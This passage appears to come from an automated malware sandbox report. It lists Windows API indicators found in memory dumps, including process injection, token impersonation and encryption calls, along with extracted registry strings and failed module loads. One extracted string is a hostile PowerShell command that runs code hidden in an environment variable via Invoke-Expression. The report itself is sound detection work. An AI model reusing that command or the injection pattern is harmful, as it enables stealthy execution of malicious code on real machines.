00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "GetProcessById"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSid"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "LookupAccountSid"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "SeTakeOwnershipPrivilege"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "LookupPrivilegeValue"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "RevertToSelf"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "LoadString"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "PrivilegeCheck"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "NetServerEnum"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SetThreadToken"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "ZwUnmapViewOfSection"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "DuplicateTokenEx"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp")36:T55f,Found string "-NoProfile -Command "Invoke-Expression $env:enpierce"" (Indicator: "Invoke-Expression"; File: "powershell.exe") Found string "Invoke-Expression $env:enpierce" (Indicator: "Invoke-Expression"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.86550000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found string "powershell.exe -NoProfile -Command "Invoke-Expression $env:enpierce"" (Indicator: "Invoke-Expression"; Source: "00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp") Found string "Invoke-Expression" (Indicator: "Invoke-Expression"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -Command Invoke-Expression $env:enpierce" (Indicator: "Invoke-Expression"; Source: "00000000-00005788.00000001.156236.84270000.00000004.mdmp")37:T1780,"y\Machine\Software\Classes\WOW6432Node\CLSID\{0B" in Source: 00000000-00005788.00000000.155566.84270000.00000004.mdmp 00000000-00005788.00000001.156236.84270000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{752073A1-23F2-4396-85F" in Source: 00000000-00005788.00000000.155566.84270000.00000004.mdmp 00000000-00005788.00000001.156236.84270000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005788.00000000.155566.84270000.00000004.mdmp 00000000-00005788.00000001.156236.84270000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005788.00000000.155566.9E690000.00000004.mdmp 00000000-00005788.00000001.156236.9E690000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005788.00000000.155566.9E690000.00000004.mdmp 00000000-00005788.00000001.156236.9E690000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005788.00000000.155566.9E690000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp38:Teee,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]39:T1bf4,"y\Machine\Software\Classes\WOW6432Node\CLSID\{0B" in Source: 00000000-00005788.00000000.155566.84270000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{752073A1-23F2-4396-85F" in Source: 00000000-00005788.00000000.155566.84270000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005788.00000000.155566.84270000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp 